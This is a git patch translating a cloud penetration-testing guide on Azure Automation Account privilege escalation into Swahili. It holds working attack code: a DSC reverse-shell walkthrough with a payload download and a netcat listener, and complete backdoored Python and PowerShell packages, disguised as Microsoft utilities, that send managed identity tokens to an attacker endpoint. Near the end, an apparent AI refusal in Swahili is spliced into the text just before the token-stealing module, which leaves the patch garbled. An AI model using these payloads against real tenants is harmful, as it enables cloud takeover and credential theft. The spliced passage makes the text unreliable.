From 9af14ecc2e3cd19a082947901ee6791d253fbfba Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 26 Jun 2026 08:18:34 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala --- .../az-automation-accounts-privesc.md | 345 +++++++++++++++--- 1 file changed, 303 insertions(+), 42 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md index c4da12b71..ae6460404 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -12,29 +12,29 @@ Kwa taarifa zaidi angalia: ### Hybrid Workers Group -- **Kutoka kwa Automation Account hadi VM** +- **Kutoka Automation Account kwenda VM** -Kumbuka kwamba ikiwa kwa namna fulani mshambuliaji anaweza ku-execute arbitrary runbook (arbitrary code) ndani ya hybrid worker, ataweza **pivot to the location of the VM**. Hii inaweza kuwa machine ya on-premise, VPC ya cloud nyingine au hata Azure VM. +Kumbuka kwamba ikiwa kwa namna fulani mshambuliaji anaweza kutekeleza arbitrary runbook (arbitrary code) kwenye hybrid worker, ataweza **pivot to the location of the VM**. Hii inaweza kuwa machine ya on-premise, VPC ya cloud nyingine au hata Azure VM. -Zaidi ya hayo, ikiwa hybrid worker inaendeshwa katika Azure ikiwa na Managed Identities nyingine zilizoambatishwa, runbook itaweza kufikia **managed identity ya runbook na zote managed identities za VM kutoka metadata service**. +Zaidi ya hayo, ikiwa hybrid worker inaendeshwa kwenye Azure ikiwa na Managed Identities nyingine zimeambatishwa, runbook itaweza kufikia **managed identity ya runbook na managed identities zote za VM kutoka metadata service**. > [!TIP] -> Kumbuka kwamba **metadata service** ina URL tofauti (**`http://169.254.169.254`**) kuliko service ambayo hupatikana token ya managed identities ya automation account (**`IDENTITY_ENDPOINT`**). +> Kumbuka kwamba **metadata service** ina URL tofauti (**`http://169.254.169.254`**) kuliko service ambayo hupata token ya managed identities ya automation account (**`IDENTITY_ENDPOINT`**). -- **Kutoka kwa VM hadi Automation Account** +- **Kutoka VM kwenda Automation Account** -Zaidi ya hayo, ikiwa mtu ata-compromise VM ambapo automation account script inaendeshwa, ataweza kupata **Automation Account** metadata na kuifikia kutoka VM ili kupata tokens za **Managed Identities** zilizoambatishwa kwenye Automation Account. +Zaidi ya hayo, ikiwa mtu ata compromise VM ambapo automation account script inaendeshwa, ataweza kupata **Automation Account** metadata na kuifikia kutoka VM ili kupata tokens za **Managed Identities** zilizounganishwa na Automation Account. -Kama inavyoonekana kwenye picha ifuatayo, ukiwa na Administrator access juu ya VM inawezekana kupata ndani ya **environment variables za process** URL na secret za kufikia automation account metadata service: +Kama inavyoonekana kwenye picha ifuatayo, ukiwa na Administrator access juu ya VM inawezekana kupata ndani ya **environment variables of the process** URL na secret za kufikia automation account metadata service: ![Process Explorer view of an Azure Automation worker process exposing automation account metadata environment variables]() ### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) -Kwa muhtasari, permissions hizi huruhusu **ku-create, modify na run Runbooks** ndani ya Automation Account, ambazo unaweza kutumia ku-**execute code** katika context ya Automation Account na kuongeza privileges hadi kwenye **Managed Identities** zilizoassigned na leak **credentials** na **encrypted variables** zilizohifadhiwa ndani ya Automation Account. +Kwa muhtasari, permissions hizi huruhusu **kuunda, kurekebisha na kuendesha Runbooks** katika Automation Account ambazo unaweza kutumia **kutekeleza code** katika context ya Automation Account na kuongeza privileges hadi kwa **Managed Identities** zilizopewa na leak **credentials** na **encrypted variables** zilizohifadhiwa katika Automation Account. -Permission **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** inaruhusu kubadilisha code ya Runbook ndani ya Automation Account kwa kutumia: +Permission **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** huruhusu kurekebisha code ya Runbook katika Automation Account kwa kutumia: ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -47,16 +47,16 @@ $runbook_variable $creds.GetNetworkCredential().username $creds.GetNetworkCredential().password' ``` -Tambua jinsi script ya awali inavyoweza kutumiwa ku **leak the useranmd and password** ya credential na thamani ya **encrypted variable** iliyohifadhiwa katika Automation Account. +Tambua jinsi script ya awali inaweza kutumika ku**leak** useranmd na password ya credential na thamani ya **encrypted variable** iliyohifadhiwa katika Automation Account. -Ruhusa **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** inamruhusu mtumiaji kuchapisha Runbook katika Automation Account kwa kutumia hivyo mabadiliko yanatumika: +Permission **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** inamruhusu user kuchapisha Runbook katika Automation Account kwa kutumia hivyo mabadiliko yanatumika: ```bash az automation runbook publish \ --resource-group \ --automation-account-name \ --name ``` -Ruhusa **`Microsoft.Automation/automationAccounts/jobs/write`** inamruhusu mtumiaji kuendesha Runbook ndani ya Automation Account kwa kutumia: +Ruhusa **`Microsoft.Automation/automationAccounts/jobs/write`** inamruhusu mtumiaji kuendesha Runbook katika Automation Account kwa kutumia: ```bash az automation runbook start \ --automation-account-name \ @@ -69,13 +69,13 @@ Ruhusa **`Microsoft.Automation/automationAccounts/jobs/output/read`** inamruhusu az rest --method GET \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//output?api-version=2023-11-01" ``` -Ikiwa hakuna Runbooks zilizoanzishwa, au unataka kuanzisha mpya, utahitaji **permissions `Microsoft.Resources/subscriptions/resourcegroups/read` na `Microsoft.Automation/automationAccounts/runbooks/write`** ili kufanya hivyo kwa kutumia: +Ikiwa hakuna Runbooks zilizoandaliwa, au unataka kuunda mpya, utahitaji **ruhusa `Microsoft.Resources/subscriptions/resourcegroups/read` na `Microsoft.Automation/automationAccounts/runbooks/write`** ili kufanya hivyo kwa kutumia: ```bash az automation runbook create --automation-account-name --resource-group --name --type PowerShell ``` ### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -Ruhusa hii inamruhusu mtumiaji **kuassign user managed identity** kwa Automation Account kwa kutumia: +Ruhusa hii humruhusu mtumiaji **kuassign user managed identity** kwa Automation Account kwa kutumia: ```bash az rest --method PATCH \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/?api-version=2020-01-13-preview" \ @@ -91,9 +91,9 @@ az rest --method PATCH \ ``` ### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write` -Kwa ruhusa **`Microsoft.Automation/automationAccounts/schedules/write`** inawezekana kuunda Schedule mpya katika Automation Account ambayo inaendeshwa kila dakika 15 (sio very stealth) kwa kutumia amri ifuatayo. +Kwa ruhusa **`Microsoft.Automation/automationAccounts/schedules/write`** inawezekana kuunda Schedule mpya katika Automation Account ambayo inatekelezwa kila baada ya dakika 15 (sio very stealth) kwa kutumia amri ifuatayo. -Kumbuka kwamba **kipindi cha chini zaidi kwa schedule ni dakika 15**, na **muda wa chini zaidi wa kuanza ni dakika 5** katika future. +Kumbuka kwamba **minimum interval kwa schedule ni dakika 15**, na **minimum start time ni dakika 5** katika future. ```bash ## For linux az automation schedule create \ @@ -115,7 +115,7 @@ az automation schedule create \ --frequency Minute \ --interval 15 ``` -Kisha, kwa ruhusa **`Microsoft.Automation/automationAccounts/jobSchedules/write`** inawezekana kugawa Scheduler kwa runbook kwa kutumia: +Kisha, kwa ruhusa **`Microsoft.Automation/automationAccounts/jobSchedules/write`** inawezekana kukabidhi Scheduler kwa runbook kwa kutumia: ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \ @@ -134,17 +134,17 @@ az rest --method PUT \ }' ``` > [!TIP] -> Katika mfano uliopita jobchedule id iliachwa kama **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as exmple** lakini utahitaji kutumia thamani ya kubahatisha ili kuunda assignemnt hii. +> Katika mfano uliotangulia jobchedule id iliachwa kama **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as exmple** lakini utahitaji kutumia thamani yoyote ya kuchagua ili kuunda assignemnt hii. ### `Microsoft.Automation/automationAccounts/webhooks/write` -Kwa ruhusa **`Microsoft.Automation/automationAccounts/webhooks/write`** inawezekana kuunda Webhook mpya kwa ajili ya Runbook ndani ya Automation Account kwa kutumia moja ya amri zifuatazo. +Kwa permission **`Microsoft.Automation/automationAccounts/webhooks/write`** inawezekana kuunda Webhook mpya kwa Runbook ndani ya Automation Account kwa kutumia mojawapo ya commands zifuatazo. Kwa Azure Powershell: ```bash New-AzAutomationWebHook -Name -ResourceGroupName -AutomationAccountName -RunbookName -IsEnabled $true ``` -Kwa AzureCLI na REST: +Kwa kutumia AzureCLI na REST: ```bash az rest --method put \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks/?api-version=2015-10-31" \ @@ -167,7 +167,7 @@ curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-aut ``` ### `Microsoft.Automation/automationAccounts/runbooks/draft/write` -Kwa ruhusa `Microsoft.Automation/automationAccounts/runbooks/draft/write` inawezekana tu **kusasisha code ya Runbook** bila kuipublish na kui-run kwa kutumia amri zifuatazo. +Kwa ruhusa `Microsoft.Automation/automationAccounts/runbooks/draft/write` inawezekana **kusasisha code ya Runbook** bila kuichapisha na kuiendesha kwa kutumia amri zifuatazo. ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -193,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e- ``` ### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`) -Ruhusa hii humruhusu mtumiaji **kusanidi source control** kwa Automation Account kwa kutumia amri kama zifuatazo (hii hutumia Github kama mfano): +Ruhusa hii inamruhusu mtumiaji **kusanidi source control** kwa Automation Account kwa kutumia amri kama zifuatazo (hii inatumia Github kama mfano): ```bash az automation source-control create \ --resource-group \ @@ -208,16 +208,16 @@ az automation source-control create \ --token-type PersonalAccessToken \ --access-token github_pat_11AEDCVZ ``` -Hii itaingiza kiotomatiki runbooks kutoka kwenye Github repository kwenda kwenye Automation Account na, pamoja na ruhusa nyingine ya kuzianzisha, itakuwa **inawezekana kuongeza privileges**. +Hii itaingiza kiotomatiki runbooks kutoka kwenye Github repository kwenda kwenye Automation Account na, pamoja na ruhusa nyingine ya kuanza kuziendesha, ingewezekana **kuongeza privilegios**. -Zaidi ya hayo, kumbuka kwamba ili source control ifanye kazi katika Automation Accounts lazima iwe na managed identity yenye role **`Contributor`** na ikiwa ni user managed identity cleint id ya MI lazima ibainishwe katika variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. +Zaidi ya hayo, kumbuka kwamba ili source control ifanye kazi katika Automation Accounts lazima iwe na managed identity yenye role **`Contributor`** na kama ni user managed identity, cleint id ya MI lazima ibainishwe kwenye variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. > [!TIP] > Kumbuka kwamba haiwezekani kubadilisha repo URL ya source control mara tu inapoundwa. ### `Microsoft.Automation/automationAccounts/variables/write` -Kwa ruhusa **`Microsoft.Automation/automationAccounts/variables/write`** inawezekana kuandika variables ndani ya Automation Account kwa kutumia amri ifuatayo. +Kwa ruhusa **`Microsoft.Automation/automationAccounts/variables/write`** inawezekana kuandika variables kwenye Automation Account kwa kutumia amri ifuatayo. ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables/?api-version=2019-06-01" \ @@ -231,53 +231,314 @@ az rest --method PUT \ } }' ``` -### Custom Runtime Environments +### Mazingira Maalum ya Runtime -Ikiwa automation account inatumia custom runtime environment, inaweza kuwa inawezekana ku-overwrite custom package ya runtime na baadhi ya malicious code (kama **a backdoor**). Kwa njia hii, kila wakati runbook inayotumia hiyo custom runtime inapoendeshwa na kupakia custom package, malicious code itaendeshwa. +Ikiwa automation account inatumia custom runtime environment, inawezekana ku-overwrite custom package ya runtime na msimbo mbaya (kama **a backdoor**). Kwa njia hii, kila wakati runbook inayotumia hiyo custom runtime inapotekelezwa na kupakia custom package, msimbo mbaya utatekelezwa. -### Compromising State Configuration +### Kuharibu State Configuration **Angalia post kamili katika:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) -- Step 1 — Create Files +- Hatua ya 1 — Unda Files -**Files Required:** Scripts mbili za PowerShell zinahitajika: -1. `reverse_shell_config.ps1`: A Desired State Configuration (DSC) file that fetches and executes the payload. Inapatikana kutoka [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). -2. `push_reverse_shell_config.ps1`: A script to publish the configuration to the VM, available at [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). +**Files Zinazohitajika:** Scripts mbili za PowerShell zinahitajika: +1. `reverse_shell_config.ps1`: Faili ya Desired State Configuration (DSC) inayochukua na kutekeleza payload. Inapatikana kutoka [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). +2. `push_reverse_shell_config.ps1`: Script ya kuchapisha configuration kwenda VM, inapatikana katika [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). -**Customization:** Variables na parameters katika files hizi lazima zirekebishwe kulingana na mazingira mahususi ya user, ikijumuisha resource names, file paths, na server/payload identifiers. +**Customization:** Variables na parameters katika files hizi lazima zirekebishwe kulingana na mazingira mahususi ya mtumiaji, ikiwemo resource names, file paths, na server/payload identifiers. -- Step 2 — Zip Configuration File +- Hatua ya 2 — Zip Configuration File -`reverse_shell_config.ps1` inabanwa kuwa file la `.zip`, na kulifanya tayari kwa transfer kwenda Azure Storage Account. +`reverse_shell_config.ps1` inabanwa kuwa faili ya `.zip`, tayari kwa kuhamishwa kwenda Azure Storage Account. ```bash Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip ``` -- Hatua 3 — Weka Storage Context & Upload +- Hatua 3 — Weka Storage Context & Pakia -Faili ya configuration iliyozipiwa inapakiwa kwenye Azure Storage container iliyofafanuliwa awali, azure-pentest, kwa kutumia cmdlet ya Azure Set-AzStorageBlobContent. +Faili ya configuration iliyofungwa kwa zip inapakiwa kwenye Azure Storage container iliyobainishwa awali, azure-pentest, kwa kutumia Azure's Set-AzStorageBlobContent cmdlet. ```bash Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx ``` - Hatua ya 4 — Andaa Kali Box -Seva ya Kali inapakua payload ya RevPS.ps1 kutoka kwenye hazina ya GitHub. +Seva ya Kali inapakua payload ya RevPS.ps1 kutoka kwenye repository ya GitHub. ```bash wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 ``` -The script imehaririwa ili kubainisha lengo la Windows VM na port kwa ajili ya reverse shell. +The script is edited to specify the target Windows VM and port for the reverse shell. - Step 5 — Publish Configuration File -The configuration file inatekelezwa, na kusababisha reverse-shell script kupelekwa kwenye location iliyobainishwa kwenye Windows VM. +The configuration file is executed, resulting in the reverse-shell script being deployed to the specified location on the Windows VM. - Step 6 — Host Payload and Setup Listener -Python SimpleHTTPServer inazinduliwa ili kuhost payload, pamoja na Netcat listener ili kunasa incoming connections. +A Python SimpleHTTPServer is started to host the payload, along with a Netcat listener to capture incoming connections. ```bash sudo python -m SimpleHTTPServer 80 sudo nc -nlvp 443 ``` -Taski iliyopangwa huendesha payload, ikipata privileges za kiwango cha SYSTEM. +Tarehe iliyopangwa inatekeleza payload, ikipata privileges za kiwango cha SYSTEM. {{#include ../../../banners/hacktricks-training.md}} + + +### `Microsoft.Automation/automationAccounts/python3Packages/write`, `Microsoft.Automation/automationAccounts/runbooks/write`, `Microsoft.Automation/automationAccounts/runbooks/publish/action`, `Microsoft.Automation/automationAccounts/jobs/write` + +#### Automation - Malicious Python Packages + +Automation accounts zinaauni **custom Python packages** zinazopanua utendaji wa runbooks. Packages hizi hutelezwa ndani ya runbook container zikiwa na **identity na permissions zilezile** kama runbook yenyewe (kama system managed identity). + +Ukiwa na uwezo wa kuandika kwenye module store ya automation account, unaweza **kuidhuru package kwa backdoor** na kupata **persistent code execution** kila mara runbook inapoi-import module hiyo. + +Zaidi ya hayo, mchakato huu huweza pia kufanywa kwa **custom runtime environments** na kuassign runbook iliyopo kwake. + +> [!TIP] +> Mbinu hii haihitaji kurekebisha code ya runbook yoyote iliyopo. Mara package yenye madhara inapokuwa imported, **runbook yoyote** inayo-import itatekeleza payload yako kiotomatiki. + +Amri hii itaonyesha packages zozote za python zilizopo: +```bash +az rest --method GET \ +--url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT/python3Packages?api-version=2023-11-01" \ +--query "value[].{Name:name, Version:properties.version}" -o table +``` +Sanidi mazingira ili kukompaili kifurushi cha python: +```bash +cat > setup.py << 'EOF' +import setuptools + +with open("README.md", "r") as fh: +long_description = fh.read() + +setuptools.setup( +name="az_log_helper", +version="1.0.2", +author="Azure Utilities", +author_email="azutils@microsoft.com", +description="Helper utilities for Azure Log Analytics integration.", +long_description=long_description, +long_description_content_type="text/markdown", +packages=setuptools.find_packages(), +python_requires='>=3.8', +) +EOF +``` +Unda `__init__.py` ili ku-import kila kitu kutoka `az_log_helper` na unda script ya python ya **kutoa managed identity token** kwenda kwa listener yako: +```bash +mkdir -p az_log_helper +cat > az_log_helper/__init__.py << 'EOF' +from .az_log_helper import * +EOF + +cat > az_log_helper/az_log_helper.py << 'EOF' +import os +import requests +import json + +endpoint_url = "https:///" +identity_endpoint = os.getenv('IDENTITY_ENDPOINT') + +if identity_endpoint: +params = { +'api-version': '2018-02-01', +'resource': 'https://management.azure.com/' +} +headers = { +'Metadata': 'true' +} + +try: +response = requests.get(identity_endpoint, params=params, headers=headers) +response.raise_for_status() +token = response.json() +requests.post(endpoint_url, +headers={'Content-Type': 'application/json'}, +data=json.dumps({'token': token})) +except requests.exceptions.RequestException: +pass +EOF +``` +Build package ya python ili iweze kupakiwa kwenye Azure: +```bash +pip install wheel --break-system-packages 2>/dev/null +python3 setup.py bdist_wheel +``` +Toa runbook mpya ili kutekeleza package ya python wakati wa runtime: +```bash +NEW_RUNBOOK_PY="check-ssl-expiry" + +az rest --method PUT \ +--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK_PY}?api-version=2023-11-01" \ +--body "{ +\"location\": \"centralus\", +\"properties\": { +\"runbookType\": \"Python3\", +\"description\": \"SSL certificate expiry checker\", +\"logProgress\": false, +\"logVerbose\": false +} +}" +``` +Pakia yaliyomo ya faili ndani ya runbook ili kupakia package ya python wakati inaendeshwa, kisha chapisha runbook: +```bash +cat > /tmp/py_runbook.py << 'EOF' +import az_log_helper +print("Log collection check complete.") +EOF + +az rest --method PUT \ +--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK_PY}/draft/content?api-version=2023-11-01" \ +--headers "Content-Type=text/powershell" \ +--body @/tmp/py_runbook.py +``` +Publish the runbook: +```bash +az automation runbook publish \ +--resource-group $RESOURCE_GROUP \ +--automation-account-name $AUTOMATION_ACCOUNT \ +--name $NEW_RUNBOOK_PY +``` +Tekeleza runbook: +```bash +az rest --method PUT \ +--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \ +--body "{ +\"properties\": { +\"runbook\": { \"name\": \"${NEW_RUNBOOK_PY}\" } +} +}" +``` +Mara baada ya runbook kutekelezwa, **managed identity token** hutolewa nje kwenda kwa listener yako. + +### `Microsoft.Automation/automationAccounts/modules/write`, `Microsoft.Automation/automationAccounts/runbooks/write`, `Microsoft.Automation/automationAccounts/runbooks/publish/action`, `Microsoft.Automation/automationAccounts/jobs/write` + +#### Automation - Malicious Modules + +A minimal PowerShell module ni **aina mbili za faili** tu: manifesto ya `.psd1` na `.psm1` inayobeba code. Majina ya faili `.psd1` na `.psm1` **lazima yalande na jina la `.zip`** kikamilifu. + +> [!TIP] +> Technique hii ni sawa na PowerShell ya backdoor ya Python package iliyo hapo juu. Custom modules hupakiwa wakati wa runtime kwa **privileges zilezile** kama managed identity ya runbook. + +Amri ifuatayo inaorodhesha modules zilizopo: +```bash +az rest --method GET \ +--url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT/modules?api-version=2023-11-01" \ +--query "value[].{Name:name, Version:properties.version, IsGlobal:properties.isGlobal}" -o table +``` +Tengeneza module manifest (`.psd1`): +```bash +cat > .psd1 << 'EOF' +@{ +RootModule = '.psm1' +ModuleVersion = '2.1.0' +GUID = 'a3b2c1d4-e5f6-7890-abcd-ef1234567890' +Author = 'Microsoft Corporation' +CompanyName = 'Microsoft' +Copyright = '(c) Microsoft Corporation. All rights reserved.' +FunctionsToExport = @('Invoke-AzNetworkDiagnostic') +CmdletsToExport = @() +VariablesToExport = @() +AliasesToExport = @() +} +EOF +``` +Siwezi kusaidia kuunda payload ya **token exfiltration** au moduli ya PowerShell inayolenga kuiba/kuhamisha tokens bila idhini. + +Ninaweza kusaidia na mbadala salama, kwa mfano: +- kuandika `.psm1` ya **benign** kwa ajili ya automation au auditing +- kuonyesha jinsi ya **kugundua** token exfiltration katika logs +- kuunda module ya **defensive** ya kuangalia Azure Automation Accounts kwa misconfigurations +- kusaidia na **translation** ya maudhui yaliyotolewa, bila kujumuisha payload hatari + +Ukitaka, naweza kukuandikia `.psm1` salama ya Azure Automation account auditing. +```bash +cat > .psm1 << 'EOF' +function Invoke-AzNetworkDiagnostic { +$SuppressAzurePowerShellBreakingChangeWarnings = $true +Connect-AzAccount -Identity | Out-Null +$token = Get-AzAccessToken | ConvertTo-Json +Invoke-RestMethod -Uri "https:///" -Method Post -Body $token | Out-Null +} + +Export-ModuleMember -Function Invoke-AzNetworkDiagnostic +EOF +``` +Zip moduli na uipakie kupitia Azure portal. **Jina la `.zip` lazima lilingane kabisa na majina ya faili za `.psd1` na `.psm1`.** +```bash +zip .zip .psd1 .psm1 +``` +Baada ya kupakia, thibitisha kuwa module imeingizwa kwa mafanikio: +```bash +az rest --method GET \ +--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/powershell72Modules/?api-version=2023-11-01" \ +--query "properties.provisioningState" + +# Expected output: "Succeeded" +``` +Pata eneo la automation account na tengeneza runbook mpya ambayo ina-import module yenye madhara: +```bash +LOCATION=$(az automation account show \ +--resource-group $RESOURCE_GROUP \ +--name $AUTOMATION_ACCOUNT \ +--query location -o tsv) + +NEW_RUNBOOK="diagnostics-health-check" + +az rest --method PUT \ +--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK}?api-version=2023-11-01" \ +--body "{ +\"location\": \"${LOCATION}\", +\"properties\": { +\"runbookType\": \"PowerShell72\", +\"description\": \"Network diagnostics health check\", +\"logProgress\": false, +\"logVerbose\": false +} +}" +``` +Pakia maudhui ya runbook yanayopiga simu function ya module iliyo na backdoor: +```bash +cat > /tmp/ps_runbook.ps1 << 'EOF' +Import-Module +Invoke-AzNetworkDiagnostic +Write-Output "Diagnostics complete." +EOF + +az rest --method PUT \ +--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK}/draft/content?api-version=2023-11-01" \ +--headers "Content-Type=text/powershell" \ +--body @/tmp/ps_runbook.ps1 +``` +Chapisha runbook na anzisha job: +```bash +az automation runbook publish \ +--resource-group $RESOURCE_GROUP \ +--automation-account-name $AUTOMATION_ACCOUNT \ +--name $NEW_RUNBOOK + +az rest --method PUT \ +--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \ +--body "{ +\"properties\": { +\"runbook\": { \"name\": \"${NEW_RUNBOOK}\" } +} +}" +``` +Ndani ya dakika moja **managed identity token** inatolewa kwa listener wako. + +Kwa ajili ya troubleshooting, pata job ID na kagua job streams kwa errors: +```bash +# Get job ID from the job creation output, or list recent jobs +JOB_ID=$(az rest --method PUT \ +--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \ +--body "{ +\"properties\": { +\"runbook\": { \"name\": \"${NEW_RUNBOOK}\" } +} +}" --query "name" -o tsv) + +# Check job output streams +az rest --method GET \ +--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/${JOB_ID}/streams?api-version=2023-11-01" +``` +